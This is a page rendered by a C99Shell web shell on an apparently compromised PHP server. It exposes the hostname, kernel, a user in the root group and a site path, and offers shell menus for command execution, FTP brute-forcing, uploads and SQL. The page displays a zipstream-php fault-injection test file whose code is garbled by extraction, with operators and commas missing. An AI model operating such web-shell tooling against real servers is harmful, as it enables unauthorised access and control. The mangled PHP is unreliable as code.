!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/maennchen/zipstream-php/test/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FaultInjectionResource.php (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ZipStream\Test;

class 
FaultInjectionResource
{
    public const 
NAME 'zipstream-php-test-broken-resource';

    
/** @var resource */
    
public $context;

    private array 
$injectFaults;

    private 
string $mode;

    
/**
     * @return resource
     */
    
public static function getResource(array $injectFaults)
    {
        
self::register();

        return 
fopen(self::NAME '://foobar''rw+'falseself::createStreamContext($injectFaults));
    }

    public function 
stream_open(string $pathstring $modeint $options, ?string &$opened_path null): bool
    
{
        
$options stream_context_get_options($this->context);

        if (!isset(
$options[self::NAME]['injectFaults'])) {
            return 
false;
        }

        
$this->mode $mode;
        
$this->injectFaults $options[self::NAME]['injectFaults'];

        if (
$this->shouldFail(__FUNCTION__)) {
            return 
false;
        }

        return 
true;
    }

    public function 
stream_write(string $data)
    {
        if (
$this->shouldFail(__FUNCTION__)) {
            return 
false;
        }
        return 
true;
    }

    public function 
stream_eof()
    {
        return 
true;
    }

    public function 
stream_seek(int $offsetint $whence): bool
    
{
        if (
$this->shouldFail(__FUNCTION__)) {
            return 
false;
        }

        return 
true;
    }

    public function 
stream_tell(): int
    
{
        if (
$this->shouldFail(__FUNCTION__)) {
            return 
false;
        }

        return 
0;
    }

    public static function 
register(): void
    
{
        if (!
in_array(self::NAMEstream_get_wrappers(), true)) {
            
stream_wrapper_register(self::NAME__CLASS__);
        }
    }

    public function 
stream_stat(): array
    {
        static 
$modeMap = [
            
'r'  => 33060,
            
'rb' => 33060,
            
'r+' => 33206,
            
'w'  => 33188,
            
'wb' => 33188,
        ];

        return [
            
'dev'     => 0,
            
'ino'     => 0,
            
'mode'    => $modeMap[$this->mode],
            
'nlink'   => 0,
            
'uid'     => 0,
            
'gid'     => 0,
            
'rdev'    => 0,
            
'size'    => 0,
            
'atime'   => 0,
            
'mtime'   => 0,
            
'ctime'   => 0,
            
'blksize' => 0,
            
'blocks'  => 0,
        ];
    }

    public function 
url_stat(string $pathint $flags): array
    {
        return [
            
'dev'     => 0,
            
'ino'     => 0,
            
'mode'    => 0,
            
'nlink'   => 0,
            
'uid'     => 0,
            
'gid'     => 0,
            
'rdev'    => 0,
            
'size'    => 0,
            
'atime'   => 0,
            
'mtime'   => 0,
            
'ctime'   => 0,
            
'blksize' => 0,
            
'blocks'  => 0,
        ];
    }

    private static function 
createStreamContext(array $injectFaults)
    {
        return 
stream_context_create([
            
self::NAME => ['injectFaults' => $injectFaults],
        ]);
    }

    private function 
shouldFail(string $function): bool
    
{
        return 
in_array($function$this->injectFaultstrue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--